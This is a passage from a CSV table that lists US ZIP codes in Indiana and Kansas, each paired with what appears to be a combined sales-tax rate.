US-IN-47940,US,IN,47940,7,,,, US-IN-47941,US,IN,47941,7,,,, US-IN-47942,US,IN,47942,7,,,, US-IN-47943,US,IN,47943,7,,,, US-IN-47944,US,IN,47944,7,,,, US-IN-47946,US,IN,47946,7,,,, US-IN-47948,US,IN,47948,7,,,, US-IN-47949,US,IN,47949,7,,,, US-IN-47950,US,IN,47950,7,,,, US-IN-47951,US,IN,47951,7,,,, US-IN-47952,US,IN,47952,7,,,, US-IN-47954,US,IN,47954,7,,,, US-IN-47955,US,IN,47955,7,,,, US-IN-47957,US,IN,47957,7,,,, US-IN-47958,US,IN,47958,7,,,, US-IN-47959,US,IN,47959,7,,,, US-IN-47960,US,IN,47960,7,,,, US-IN-47962,US,IN,47962,7,,,, US-IN-47963,US,IN,47963,7,,,, US-IN-47964,US,IN,47964,7,,,, US-IN-47965,US,IN,47965,7,,,, US-IN-47966,US,IN,47966,7,,,, US-IN-47967,US,IN,47967,7,,,, US-IN-47968,US,IN,47968,7,,,, US-IN-47969,US,IN,47969,7,,,, US-IN-47970,US,IN,47970,7,,,, US-IN-47971,US,IN,47971,7,,,, US-IN-47974,US,IN,47974,7,,,, US-IN-47975,US,IN,47975,7,,,, US-IN-47977,US,IN,47977,7,,,, US-IN-47978,US,IN,47978,7,,,, US-IN-47980,US,IN,47980,7,,,, US-IN-47981,US,IN,47981,7,,,, US-IN-47982,US,IN,47982,7,,,, US-IN-47983,US,IN,47983,7,,,, US-IN-47984,US,IN,47984,7,,,, US-IN-47986,US,IN,47986,7,,,, US-IN-47987,US,IN,47987,7,,,, US-IN-47988,US,IN,47988,7,,,, US-IN-47989,US,IN,47989,7,,,, US-IN-47990,US,IN,47990,7,,,, US-IN-47991,US,IN,47991,7,,,, US-IN-47992,US,IN,47992,7,,,, US-IN-47993,US,IN,47993,7,,,, US-IN-47994,US,IN,47994,7,,,, US-IN-47995,US,IN,47995,7,,,, US-IN-47996,US,IN,47996,7,,,, US-IN-47997,US,IN,47997,7,,,, US-KS-66002,US,KS,66002,8.4,,,, US-KS-66006,US,KS,66006,8.4,,,, US-KS-66007,US,KS,66007,8.15,,,, US-KS-66008,US,KS,66008,7.15,,,, US-KS-66010,US,KS,66010,6.15,,,, US-KS-66012,US,KS,66012,8.9,,,, US-KS-66013,US,KS,66013,7.65,,,, US-KS-66014,US,KS,66014,6.15,,,, US-KS-66015,US,KS,66015,7.65,,,, US-KS-66016,US,KS,66016,7.4,,,, US-KS-66017,US,KS,66017,7.15,,,, US-KS-66018,US,KS,66018,9.125,,,, US-KS-66019,US,KS,66019,9.125,,,, US-KS-66020,US,KS,66020,7.15,,,, US-KS-66021,US,KS,66021,8.375,,,, US-KS-66023,US,KS,66023,7.4,,,, US-KS-66024,US,KS,66024,8.15,,,, US-KS-66025,US,KS,66025,8.15,,,, US-KS-66026,US,KS,66026,7.65,,,, US-KS-66027,US,KS,66027,8.15,,,, US-KS-66030,US,KS,66030,8.875,,,, US-KS-66031,US,KS,66031,7.375,,,, US-KS-66032,US,KS,66032,7.65,,,, US-KS-66033,US,KS,66033,7.65,,,, US-KS-66035,US,KS,66035,8.15,,,, US-KS-66036,US,KS,66036,7.65,,,, US-KS-66039,US,KS,66039,7.65,,,, US-KS-66040,US,KS,66040,6.15,,,, US-KS-66041,US,KS,66041,7.4,,,, US-KS-66042,US,KS,66042,7.65,,,, US-KS-66043,US,KS,66043,8.15,,,, US-KS-66044,US,KS,66044,8.7,,,, US-KS-66045,US,KS,66045,8.7,,,, US-KS-66046,US,KS,66046,8.7,,,, US-KS-66047,US,KS,66047,8.7,,,, US-KS-66048,US,KS,66048,8.15,,,, US-KS-66049,US,KS,66049,8.7,,,, US-KS-66050,US,KS,66050,7.15,,,, US-KS-66051,US,KS,66051,8.5,,,, US-KS-66052,US,KS,66052,7.15,,,, US-KS-66053,US,KS,66053,7.65,,,, US-KS-66054,US,KS,66054,7.15,,,, US-KS-66056,US,KS,66056,6.15,,,, US-KS-66058,US,KS,66058,7.4,,,, US-KS-66060,US,KS,66060,7.15,,,, US-KS-66061,US,KS,66061,8.5,,,, US-KS-66062,US,KS,66062,8.5,,,, US-KS-66063,US,KS,66063,8.5,,,, US-KS-66064,US,KS,66064,7.65,,,, US-KS-66066,US,KS,66066,7.15,,,, US-KS-66067,US,KS,66067,8.75,,,, US-KS-66070,US,KS,66070,7.15,,,, US-KS-66071,US,KS,66071,7.65,,,, US-KS-66072,US,KS,66072,6.15,,,, US-KS-66073,US,KS,66073,7.15,,,, US-KS-66075,US,KS,66075,7.15,,,, US-KS-66076,US,KS,66076,7.65,,,, US-KS-66078,US,KS,66078,7.65,,,, US-KS-66079,US,KS,66079,7.65,,,, US-KS-66080,US,KS,66080,7.65,,,, US-KS-66083,US,KS,66083,7.65,,,, US-KS-66085,US,KS,66085,7.375,,,, US-KS-66086,US,KS,66086,7.15,,,, US-KS-66087,US,KS,66087,7.15,,,, US-KS-66088,US,KS,66088,7.15,,,, US-KS-66090,US,KS,66090,8.15,,,, US-KS-66091,US,KS,66091,7.65,,,, US-KS-66092,US,KS,66092,7.65,,,, US-KS-66093,US,KS,66093,7.65,,,, US-KS-66094,US,KS,66094,7.15,,,, US-KS-66095,US,KS,66095,7.65,,,, US-KS-66097,US,KS,66097,7.15,,,, US-KS-66101,US,KS,66101,8.775,,,, US-KS-66102,US,KS,66102,8.775,,,, US-KS-66103,US,KS,66103,8.775,,,, US-KS-66104,US,KS,66104,8.775,,,, US-KS-66105,US,KS,66105,8.775,,,, US-KS-66106,US,KS,66106,8.775,,,, US-KS-66109,US,KS,66109,8.775,,,, US-KS-66110,US,KS,66110,8.775,,,, US-KS-66111,US,KS,66111,8.775,,,, US-KS-66112,US,KS,66112,8.775,,,, US-KS-66113,US,KS,66113,8.15,,,, US-KS-66115,US,KS,66115,8.775,,,, US-KS-66117,US,KS,66117,8.775,,,, US-KS-66118,US,KS,66118,8.775,,,, US-KS-66119,US,KS,66119,8.775,,,, US-KS-66160,US,KS,66160,8.775,,,, US-KS-66201,US,KS,66201,9,,,, US-KS-66202,US,KS,66202,9,,,, US-KS-66203,US,KS,66203,8.625,,,, US-KS-66204,US,KS,66204,8.5,,,, US-KS-66205,US,KS,66205,8.625,,,, US-KS-66206,US,KS,66206,8.5,,,, US-KS-66207,US,KS,66207,8.5,,,, US-KS-66208,US,KS,66208,8.375,,,, US-KS-66209,US,KS,66209,8.5,,,, US-KS-66210,US,KS,66210,8.5,,,, US-KS-66211,US,KS,66211,8.5,,,, US-KS-66212,US,KS,66212,8.5,,,, US-KS-66213,US,KS,66213,8.5,,,, US-KS-66214,US,KS,66214,8.5,,,, US-KS-66215,US,KS,66215,8.75,,,, US-KS-66216,US,KS,66216,8.625,,,, US-KS-66217,US,KS,66217,8.625,,,, US-KS-66218,US,KS,66218,8.625,,,, US-KS-66219,US,KS,66219,8.75,,,, US-KS-66220,US,KS,66220,8.75,,,, US-KS-66221,US,KS,66221,8.5,,,, US-KS-66222,US,KS,66222,9,,,, US-KS-66223,US,KS,66223,8.5,,,, US-KS-66224,US,KS,66224,8.5,,,, US-KS-66225,US,KS,66225,8.5,,,, US-KS-66226,US,KS,66226,8.625,,,, US-KS-66227,US,KS,66227,8.75,,,, US-KS-66250,US,KS,66250,8.75,,,, US-KS-66251,US,KS,66251,8.5,,,, US-KS-66276,US,KS,66276,10,,,, US-KS-66282,US,KS,66282,8.5,,,, US-KS-66283,US,KS,66283,8.5,,,, US-KS-66285,US,KS,66285,8.75,,,, US-KS-66286,US,KS,66286,8.625,,,, US-KS-66401,US,KS,66401,7.65,,,, US-KS-66402,US,KS,66402,7.3,,,, US-KS-66403,US,KS,66403,7.15,,,, US-KS-66404,US,KS,66404,7.15,,,, US-KS-66406,US,KS,66406,6.15,,,, US-KS-66407,US,KS,66407,7.15,,,, US-KS-66408,US,KS,66408,7.15,,,, US-KS-66409,US,KS,66409,7.3,,,, US-KS-66411,US,KS,66411,7.65,,,, US-KS-66412,US,KS,66412,6.15,,,, US-KS-66413,US,KS,66413,7.15,,,, US-KS-66414,US,KS,66414,7.15,,,, US-KS-66415,US,KS,66415,7.15,,,, US-KS-66416,US,KS,66416,7.55,,,, US-KS-66417,US,KS,66417,7.15,,,, US-KS-66418,US,KS,66418,7.55,,,, US-KS-66419,US,KS,66419,7.55,,,, US-KS-66420,US,KS,66420,7.3,,,, US-KS-66422,US,KS,66422,7.15,,,, US-KS-66423,US,KS,66423,7.65,,,, US-KS-66424,US,KS,66424,7.65,,,, US-KS-66425,US,KS,66425,7.65,,,, US-KS-66426,US,KS,66426,7.15,,,, US-KS-66427,US,KS,66427,7.15,,,, US-KS-66428,US,KS,66428,7.15,,,, US-KS-66429,US,KS,66429,7.15,,,, US-KS-66431,US,KS,66431,7.65,,,, US-KS-66432,US,KS,66432,7.15,,,, US-KS-66434,US,KS,66434,8.65,,,, US-KS-66436,US,KS,66436,7.55,,,, US-KS-66438,US,KS,66438,6.15,,,, US-KS-66439,US,KS,66439,8.65,,,, US-KS-66440,US,KS,66440,7.55,,,, US-KS-66441,US,KS,66441,9.4,,,, US-KS-66442,US,KS,66442,7.15,,,, US-KS-66449,US,KS,66449,7.15,,,, US-KS-66451,US,KS,66451,7.15,,,, US-KS-66501,US,KS,66501,7.65,,,, US-KS-66502,US,KS,66502,8.4,,,, US-KS-66503,US,KS,66503,8.4,,,, US-KS-66505,US,KS,66505,8.4,,,, US-KS-66506,US,KS,66506,8.4,,,, US-KS-66507,US,KS,66507,7.65,,,, US-KS-66508,US,KS,66508,7.75,,,, US-KS-66509,US,KS,66509,7.55,,,, US-KS-66510,US,KS,66510,7.15,,,, US-KS-66512,US,KS,66512,7.15,,,, US-KS-66514,US,KS,66514,7.4,,,, US-KS-66515,US,KS,66515,7.65,,,, US-KS-66516,US,KS,66516,7.55,,,, US-KS-66517,US,KS,66517,8.15,,,, US-KS-66518,US,KS,66518,6.15,,,, US-KS-66520,US,KS,66520,7.15,,,, US-KS-66521,US,KS,66521,7.15,,,, US-KS-66522,US,KS,66522,7.15,,,, US-KS-66523,US,KS,66523,8.65,,,, US-KS-66524,US,KS,66524,7.15,,,, US-KS-66526,US,KS,66526,7.65,,,, US-KS-66527,US,KS,66527,7.65,,,, US-KS-66528,US,KS,66528,7.15,,,, US-KS-66531,US,KS,66531,8.15,,,, US-KS-66532,US,KS,66532,7.65,,,, US-KS-66533,US,KS,66533,7.3,,,, US-KS-66534,US,KS,66534,8.15,,,, US-KS-66535,US,KS,66535,7.15,,,, US-KS-66536,US,KS,66536,8.15,,,, US-KS-66537,US,KS,66537,7.15,,,, US-KS-66538,US,KS,66538,8.15,,,, US-KS-66539,US,KS,66539,7.3,,,, US-KS-66540,US,KS,66540,7.55,,,, US-KS-66541,US,KS,66541,6.15,,,, US-KS-66542,US,KS,66542,7.3,,,, US-KS-66543,US,KS,66543,7.15,,,, US-KS-66544,US,KS,66544,6.15,,,, US-KS-66546,US,KS,66546,7.3,,,, US-KS-66547,US,KS,66547,8.9,,,, US-KS-66548,US,KS,66548,7.65,,,, US-KS-66549,US,KS,66549,7.15,,,, US-KS-66550,US,KS,66550,7.15,,,, US-KS-66552,US,KS,66552,7.55,,,, US-KS-66554,US,KS,66554,7.15,,,, US-KS-66601,US,KS,66601,8.8,,,, US-KS-66603,US,KS,66603,8.8,,,, US-KS-66604,US,KS,66604,8.8,,,, US-KS-66605,US,KS,66605,8.8,,,, US-KS-66606,US,KS,66606,8.8,,,, US-KS-66607,US,KS,66607,8.8,,,, US-KS-66608,US,KS,66608,8.8,,,, US-KS-66609,US,KS,66609,8.8,,,, US-KS-66610,US,KS,66610,7.3,,,, US-KS-66611,US,KS,66611,8.8,,,, US-KS-66612,US,KS,66612,8.8,,,, US-KS-66614,US,KS,66614,8.8,,,, US-KS-66615,US,KS,66615,7.3,,,, US-KS-66616,US,KS,66616,8.8,,,, US-KS-66617,US,KS,66617,7.3,,,, US-KS-66618,US,KS,66618,7.3,,,, US-KS-66619,US,KS,66619,7.3,,,, US-KS-66620,US,KS,66620,8.8,,,, US-KS-66621,US,KS,66621,8.8,,,, US-KS-66622,US,KS,66622,8.8,,,, US-KS-66624,US,KS,66624,8.8,,,, US-KS-66625,US,KS,66625,8.8,,,, US-KS-66626,US,KS,66626,8.8,,,, US-KS-66629,US,KS,66629,8.8,,,, US-KS-66636,US,KS,66636,8.8,,,, US-KS-66647,US,KS,66647,8.8,,,, US-KS-66667,US,KS,66667,8.8,,,, US-KS-66675,US,KS,66675,8.8,,,, US-KS-66683,US,KS,66683,8.8,,,, US-KS-66699,US,KS,66699,8.8,,,, US-KS-66701,US,KS,66701,8.65,,,, US-KS-66710,US,KS,66710,6.15,,,, US-KS-66711,US,KS,66711,7.15,,,, US-KS-66712,US,KS,66712,8.15,,,, US-KS-66713,US,KS,66713,8.65,,,, US-KS-66714,US,KS,66714,6.15,,,, US-KS-66716,US,KS,66716,8.15,,,, US-KS-66717,US,KS,66717,6.15,,,, US-KS-66720,US,KS,66720,8.4,,,, US-KS-66724,US,KS,66724,7.15,,,, US-KS-66725,US,KS,66725,7.65,,,, US-KS-66728,US,KS,66728,7.65,,,, US-KS-66732,US,KS,66732,7.4,,,, US-KS-66733,US,KS,66733,7.15,,,, US-KS-66734,US,KS,66734,7.15,,,, US-KS-66735,US,KS,66735,7.15,,,, US-KS-66736,US,KS,66736,8.65,,,, US-KS-66738,US,KS,66738,7.15,,,, US-KS-66739,US,KS,66739,8.65,,,, US-KS-66740,US,KS,66740,7.15,,,, US-KS-66741,US,KS,66741,7.15,,,, US-KS-66742,US,KS,66742,8.4,,,, US-KS-66743,US,KS,66743,8.15,,,, US-KS-66746,US,KS,66746,7.15,,,, US-KS-66748,US,KS,66748,8.65,,,, US-KS-66749,US,KS,66749,8.4,,,, US-KS-66751,US,KS,66751,7.4,,,, US-KS-66753,US,KS,66753,7.15,,,, US-KS-66754,US,KS,66754,7.15,,,, US-KS-66755,US,KS,66755,7.4,,,, US-KS-66756,US,KS,66756,7.15,,,, US-KS-66757,US,KS,66757,9.15,,,, US-KS-66758,US,KS,66758,7.15,,,, US-KS-66759,US,KS,66759,6.15,,,, US-KS-66760,US,KS,66760,7.15,,,, US-KS-66761,US,KS,66761,7.15,,,, US-KS-66762,US,KS,66762,8.4,,,, US-KS-66763,US,KS,66763,8.4,,,, US-KS-66767,US,KS,66767,6.15,,,, US-KS-66769,US,KS,66769,7.15,,,, US-KS-66770,US,KS,66770,7.65,,,, US-KS-66771,US,KS,66771,7.15,,,, US-KS-66772,US,KS,66772,7.4,,,, US-KS-66773,US,KS,66773,8.65,,,, US-KS-66775,US,KS,66775,7.15,,,, US-KS-66776,US,KS,66776,7.15,,,, US-KS-66777,US,KS,66777,7.65,,,, US-KS-66778,US,KS,66778,8.65,,,, US-KS-66779,US,KS,66779,8.15,,,, US-KS-66780,US,KS,66780,7.15,,,, US-KS-66781,US,KS,66781,7.65,,,, US-KS-66782,US,KS,66782,7.65,,,, US-KS-66783,US,KS,66783,8.9,,,, US-KS-66801,US,KS,66801,8.15,,,, US-KS-66830,US,KS,66830,7.15,,,, US-KS-66833,US,KS,66833,7.15,,,, US-KS-66834,US,KS,66834,7.65,,,, US-KS-66835,US,KS,66835,7.65,,,, US-KS-66838,US,KS,66838,7.15,,,, US-KS-66839,US,KS,66839,8.15,,,, US-KS-66840,US,KS,66840,6.4,,,, US-KS-66842,US,KS,66842,6.4,,,, US-KS-66843,US,KS,66843,6.15,,,, US-KS-66845,US,KS,66845,7.15,,,, US-KS-66846,US,KS,66846,8.85,,,, US-KS-66849,US,KS,66849,7.15,,,, US-KS-66850,US,KS,66850,6.15,,,, US-KS-66851,US,KS,66851,8.65,,,, US-KS-66852,US,KS,66852,6.15,,,, US-KS-66853,US,KS,66853,7.15,,,, US-KS-66854,US,KS,66854,7.15,,,, US-KS-66855,US,KS,66855,7.15,,,, US-KS-66856,US,KS,66856,7.15,,,, US-KS-66857,US,KS,66857,7.15,,,, US-KS-66858,US,KS,66858,7.65,,,, US-KS-66859,US,KS,66859,7.65,,,, US-KS-66860,US,KS,66860,7.15,,,, US-KS-66861,US,KS,66861,8.4,,,, US-KS-66862,US,KS,66862,6.15,,,, US-KS-66863,US,KS,66863,7.15,,,, US-KS-66864,US,KS,66864,8.15,,,, US-KS-66865,US,KS,66865,7.15,,,, US-KS-66866,US,KS,66866,8.65,,,, US-KS-66868,US,KS,66868,7.15,,,, US-KS-66869,US,KS,66869,7.15,,,, US-KS-66870,US,KS,66870,7.15,,,, US-KS-66871,US,KS,66871,6.15,,,, US-KS-66872,US,KS,66872,7.15,,,, US-KS-66873,US,KS,66873,7.15,,,, US-KS-66901,US,KS,66901,8.15,,,, US-KS-66930,US,KS,66930,8.15,,,, US-KS-66932,US,KS,66932,7.15,,,, US-KS-66933,US,KS,66933,7.15,,,, US-KS-66935,US,KS,66935,8.15,,,, US-KS-66936,US,KS,66936,7.15,,,, US-KS-66937,US,KS,66937,7.15,,,, US-KS-66938,US,KS,66938,7.15,,,, US-KS-66939,US,KS,66939,8.15,,,, US-KS-66940,US,KS,66940,8.15,,,, US-KS-66941,US,KS,66941,7.15,,,, US-KS-66942,US,KS,66942,7.15,,,, US-KS-66943,US,KS,66943,7.15,,,, US-KS-66944,US,KS,66944,7.15,,,, US-KS-66945,US,KS,66945,7.15,,,, US-KS-66946,US,KS,66946,7.15,,,, US-KS-66948,US,KS,66948,7.15,,,, US-KS-66949,US,KS,66949,7.15,,,, US-KS-66951,US,KS,66951,7.15,,,, US-KS-66952,US,KS,66952,7.15,,,, US-KS-66953,US,KS,66953,7.15,,,, US-KS-66955,US,KS,66955,7.15,,,, US-KS-66956,US,KS,66956,7.9,,,, US-KS-66958,US,KS,66958,7.15,,,, US-KS-66959,US,KS,66959,8.15,,,, US-KS-66960,US,KS,66960,8.15,,,, US-KS-66961,US,KS,66961,8.15,,,, US-KS-66962,US,KS,66962,7.15,,,, US-KS-66963,US,KS,66963,7.15,,,, US-KS-66964,US,KS,66964,8.15,,,, US-KS-66966,US,KS,66966,8.15,,,, US-KS-66967,US,KS,66967,7.65,,,, US-KS-66968,US,KS,66968,8.15,,,, US-KS-66970,US,KS,66970,7.15,,,, US-KS-67001,US,KS,67001,7.15,,,, US-KS-67002,US,KS,67002,7.4,,,, US-KS-67003,US,KS,67003,6.65,,,, US-KS-67004,US,KS,67004,7.65,,,, US-KS-67005,US,KS,67005,8.4,,,, US-KS-67008,US,KS,67008,6.4,,,, US-KS-67009,US,KS,67009,7.15,,,, US-KS-67010,US,KS,67010,6.4,,,, US-KS-67012,US,KS,67012,6.4,,,, US-KS-67013,US,KS,67013,7.65,,,, US-KS-67016,US,KS,67016,7.15,,,, US-KS-67017,US,KS,67017,6.4,,,, US-KS-67018,US,KS,67018,6.15,,,, US-KS-67019,US,KS,67019,6.4,,,, US-KS-67020,US,KS,67020,8.15,,,, US-KS-67021,US,KS,67021,7.9,,,, US-KS-67022,US,KS,67022,7.65,,,, US-KS-67023,US,KS,67023,6.4,,,, US-KS-67024,US,KS,67024,8.15,,,, US-KS-67025,US,KS,67025,7.15,,,, US-KS-67026,US,KS,67026,7.15,,,, US-KS-67028,US,KS,67028,7.9,,,, US-KS-67029,US,KS,67029,8.15,,,, US-KS-67030,US,KS,67030,7.15,,,, US-KS-67031,US,KS,67031,6.65,,,, US-KS-67035,US,KS,67035,6.9,,,, US-KS-67036,US,KS,67036,6.15,,,, US-KS-67037,US,KS,67037,7.65,,,, US-KS-67038,US,KS,67038,6.4,,,, US-KS-67039,US,KS,67039,6.4,,,, US-KS-67041,US,KS,67041,6.4,,,, US-KS-67042,US,KS,67042,7.4,,,, US-KS-67045,US,KS,67045,8.15,,,, US-KS-67047,US,KS,67047,7.15,,,, US-KS-67049,US,KS,67049,6.15,,,, US-KS-67050,US,KS,67050,7.15,,,, US-KS-67051,US,KS,67051,6.65,,,, US-KS-67052,US,KS,67052,7.15,,,, US-KS-67053,US,KS,67053,7.65,,,, US-KS-67054,US,KS,67054,8.15,,,, US-KS-67055,US,KS,67055,7.15,,,, US-KS-67056,US,KS,67056,8.15,,,, US-KS-67057,US,KS,67057,7.15,,,, US-KS-67058,US,KS,67058,7.65,,,, US-KS-67059,US,KS,67059,7.15,,,, US-KS-67060,US,KS,67060,7.15,,,, US-KS-67061,US,KS,67061,7.15,,,, US-KS-67062,US,KS,67062,8.15,,,, US-KS-67063,US,KS,67063,8.65,,,, US-KS-67065,US,KS,67065,7.15,,,, US-KS-67066,US,KS,67066,7.9,,,, US-KS-67067,US,KS,67067,7.15,,,, US-KS-67068,US,KS,67068,7.9,,,, US-KS-67070,US,KS,67070,7.15,,,, US-KS-67071,US,KS,67071,7.15,,,, US-KS-67072,US,KS,67072,6.4,,,, US-KS-67073,US,KS,67073,7.65,,,, US-KS-67074,US,KS,67074,6.4,,,, US-KS-67101,US,KS,67101,7.15,,,, US-KS-67102,US,KS,67102,6.4,,,, US-KS-67103,US,KS,67103,6.65,,,, US-KS-67104,US,KS,67104,7.9,,,, US-KS-67105,US,KS,67105,6.65,,,, US-KS-67106,US,KS,67106,6.65,,,, US-KS-67107,US,KS,67107,8.15,,,, US-KS-67108,US,KS,67108,7.15,,,, US-KS-67109,US,KS,67109,7.15,,,, US-KS-67110,US,KS,67110,7.15,,,, US-KS-67111,US,KS,67111,6.9,,,, US-KS-67112,US,KS,67112,6.9,,,, US-KS-67114,US,KS,67114,8.15,,,, US-KS-67117,US,KS,67117,8.15,,,, US-KS-67118,US,KS,67118,6.9,,,, US-KS-67119,US,KS,67119,7.65,,,, US-KS-67120,US,KS,67120,7.15,,,, US-KS-67122,US,KS,67122,7.15,,,, US-KS-67123,US,KS,67123,6.4,,,, US-KS-67124,US,KS,67124,8.65,,,, US-KS-67127,US,KS,67127,6.15,,,, US-KS-67131,US,KS,67131,6.4,,,, US-KS-67132,US,KS,67132,6.4,,,, US-KS-67133,US,KS,67133,6.4,,,, US-KS-67134,US,KS,67134,7.9,,,, US-KS-67135,US,KS,67135,8.15,,,, US-KS-67137,US,KS,67137,7.15,,,, US-KS-67138,US,KS,67138,7.15,,,, US-KS-67140,US,KS,67140,6.65,,,, US-KS-67142,US,KS,67142,6.9,,,, US-KS-67143,US,KS,67143,7.15,,,, US-KS-67144,US,KS,67144,6.4,,,, US-KS-67146,US,KS,67146,6.4,,,, US-KS-67147,US,KS,67147,7.15,,,, US-KS-67149,US,KS,67149,7.15,,,, US-KS-67150,US,KS,67150,6.15,,,, US-KS-67151,US,KS,67151,8.15,,,, US-KS-67152,US,KS,67152,8.4,,,, US-KS-67154,US,KS,67154,6.4,,,, US-KS-67155,US,KS,67155,6.15,,,, US-KS-67156,US,KS,67156,7.4,,,, US-KS-67159,US,KS,67159,6.9,,,, US-KS-67201,US,KS,67201,7.15,,,, US-KS-67202,US,KS,67202,7.15,,,, US-KS-67203,US,KS,67203,7.15,,,, US-KS-67204,US,KS,67204,7.15,,,, US-KS-67205,US,KS,67205,7.15,,,, US-KS-67206,US,KS,67206,7.15,,,, US-KS-67207,US,KS,67207,7.15,,,, US-KS-67208,US,KS,67208,7.15,,,, US-KS-67209,US,KS,67209,7.15,,,, US-KS-67210,US,KS,67210,7.15,,,, US-KS-67211,US,KS,67211,7.15,,,, US-KS-67212,US,KS,67212,7.15,,,, US-KS-67213,US,KS,67213,7.15,,,, US-KS-67214,US,KS,67214,7.15,,,, US-KS-67215,US,KS,67215,7.15,,,, US-KS-67216,US,KS,67216,7.15,,,, US-KS-67217,US,KS,67217,7.15,,,, US-KS-67218,US,KS,67218,7.15,,,, US-KS-67219,US,KS,67219,7.15,,,, US-KS-67220,US,KS,67220,7.15,,,, US-KS-67221,US,KS,67221,7.15,,,, US-KS-67223,US,KS,67223,7.15,,,, US-KS-67226,US,KS,67226,7.15,,,, US-KS-67227,US,KS,67227,7.15,,,, US-KS-67228,US,KS,67228,7.15,,,, US-KS-67230,US,KS,67230,7.15,,,, US-KS-67232,US,KS,67232,7.15,,,, US-KS-67235,US,KS,67235,7.15,,,, US-KS-67260,US,KS,67260,7.15,,,, US-KS-67275,US,KS,67275,7.15,,,, US-KS-67276,US,KS,67276,7.15,,,, US-KS-67277,US,KS,67277,7.15,,,, US-KS-67278,US,KS,67278,7.15,,,, US-KS-67301,US,KS,67301,9.15,,,, US-KS-67330,US,KS,67330,8.4,,,, US-KS-67332,US,KS,67332,7.4,,,, US-KS-67333,US,KS,67333,8.9,,,, US-KS-67334,US,KS,67334,8.15,,,, US-KS-67335,US,KS,67335,8.9,,,, US-KS-67336,US,KS,67336,8.9,,,, US-KS-67337,US,KS,67337,9.15,,,, US-KS-67340,US,KS,67340,7.15,,,, US-KS-67341,US,KS,67341,7.4,,,, US-KS-67342,US,KS,67342,7.4,,,, US-KS-67344,US,KS,67344,6.15,,,, US-KS-67345,US,KS,67345,7.15,,,, US-KS-67346,US,KS,67346,7.15,,,, US-KS-67347,US,KS,67347,6.15,,,, US-KS-67349,US,KS,67349,7.15,,,, US-KS-67351,US,KS,67351,6.15,,,, US-KS-67352,US,KS,67352,7.15,,,, US-KS-67353,US,KS,67353,7.15,,,, US-KS-67354,US,KS,67354,7.9,,,, US-KS-67355,US,KS,67355,8.15,,,, US-KS-67356,US,KS,67356,8.4,,,, US-KS-67357,US,KS,67357,8.4,,,, US-KS-67360,US,KS,67360,8.15,,,, US-KS-67361,US,KS,67361,9.65,,,, US-KS-67363,US,KS,67363,6.15,,,, US-KS-67364,US,KS,67364,6.15,,,, US-KS-67401,US,KS,67401,8.05,,,, US-KS-67402,US,KS,67402,8.05,,,, US-KS-67410,US,KS,67410,8.25,,,, US-KS-67416,US,KS,67416,7.15,,,, US-KS-67417,US,KS,67417,7.15,,,, US-KS-67418,US,KS,67418,7.15,,,, US-KS-67420,US,KS,67420,8.15,,,, US-KS-67422,US,KS,67422,7.15,,,, US-KS-67423,US,KS,67423,7.15,,,, US-KS-67425,US,KS,67425,7.15,,,, US-KS-67427,US,KS,67427,7.15,,,, US-KS-67428,US,KS,67428,7.15,,,, US-KS-67430,US,KS,67430,7.15,,,, US-KS-67431,US,KS,67431,7.15,,,, US-KS-67432,US,KS,67432,8.65,,,, US-KS-67436,US,KS,67436,8.15,,,, US-KS-67437,US,KS,67437,7.65,,,, US-KS-67438,US,KS,67438,7.65,,,, US-KS-67439,US,KS,67439,8.4,,,, US-KS-67441,US,KS,67441,7.15,,,, US-KS-67442,US,KS,67442,7.15,,,, US-KS-67443,US,KS,67443,7.15,,,, US-KS-67444,US,KS,67444,9.15,,,, US-KS-67445,US,KS,67445,8.15,,,, US-KS-67446,US,KS,67446,7.15,,,, US-KS-67447,US,KS,67447,7.15,,,, US-KS-67448,US,KS,67448,7.15,,,, US-KS-67449,US,KS,67449,8.65,,,, US-KS-67450,US,KS,67450,7.15,,,, US-KS-67451,US,KS,67451,7.15,,,, US-KS-67452,US,KS,67452,7.15,,,, US-KS-67454,US,KS,67454,8.15,,,, US-KS-67455,US,KS,67455,8.15,,,, US-KS-67456,US,KS,67456,8.65,,,, US-KS-67457,US,KS,67457,7.15,,,, US-KS-67458,US,KS,67458,7.15,,,, US-KS-67459,US,KS,67459,7.15,,,, US-KS-67460,US,KS,67460,8.15,,,, US-KS-67464,US,KS,67464,7.15,,,, US-KS-67466,US,KS,67466,8.15,,,, US-KS-67467,US,KS,67467,8.15,,,, US-KS-67468,US,KS,67468,7.15,,,, US-KS-67470,US,KS,67470,7.15,,,, US-KS-67473,US,KS,67473,7.65,,,, US-KS-67474,US,KS,67474,7.65,,,, US-KS-67475,US,KS,67475,7.65,,,, US-KS-67476,US,KS,67476,7.15,,,, US-KS-67478,US,KS,67478,7.15,,,, US-KS-67480,US,KS,67480,7.15,,,, US-KS-67481,US,KS,67481,7.15,,,, US-KS-67482,US,KS,67482,7.15,,,, US-KS-67483,US,KS,67483,7.65,,,, US-KS-67484,US,KS,67484,7.15,,,, US-KS-67485,US,KS,67485,7.15,,,, US-KS-67487,US,KS,67487,7.15,,,, US-KS-67490,US,KS,67490,8.15,,,, US-KS-67491,US,KS,67491,7.15,,,, US-KS-67492,US,KS,67492,7.15,,,, US-KS-67501,US,KS,67501,8.4,,,, US-KS-67502,US,KS,67502,8.4,,,, US-KS-67504,US,KS,67504,8.4,,,, US-KS-67505,US,KS,67505,8.4,,,, US-KS-67510,US,KS,67510,7.65,,,, US-KS-67511,US,KS,67511,7.15,,,, US-KS-67512,US,KS,67512,7.15,,,, US-KS-67513,US,KS,67513,6.15,,,, US-KS-67514,US,KS,67514,7.65,,,, US-KS-67515,US,KS,67515,6.15,,,, US-KS-67516,US,KS,67516,6.15,,,, US-KS-67518,US,KS,67518,6.15,,,, US-KS-67519,US,KS,67519,7.15,,,, US-KS-67520,US,KS,67520,6.15,,,, US-KS-67521,US,KS,67521,6.15,,,, US-KS-67522,US,KS,67522,7.65,,,, US-KS-67523,US,KS,67523,8.15,,,, US-KS-67524,US,KS,67524,7.65,,,, US-KS-67525,US,KS,67525,7.15,,,, US-KS-67526,US,KS,67526,7.65,,,, US-KS-67529,US,KS,67529,8.15,,,, US-KS-67530,US,KS,67530,7.9,,,, US-KS-67543,US,KS,67543,7.65,,,, US-KS-67544,US,KS,67544,7.65,,,, US-KS-67545,US,KS,67545,7.15,,,, US-KS-67546,US,KS,67546,7.15,,,, US-KS-67547,US,KS,67547,8.15,,,, US-KS-67548,US,KS,67548,7.15,,,, US-KS-67550,US,KS,67550,8.65,,,, US-KS-67552,US,KS,67552,7.15,,,, US-KS-67553,US,KS,67553,6.15,,,, US-KS-67554,US,KS,67554,8.15,,,, US-KS-67556,US,KS,67556,6.15,,,, US-KS-67557,US,KS,67557,7.15,,,, 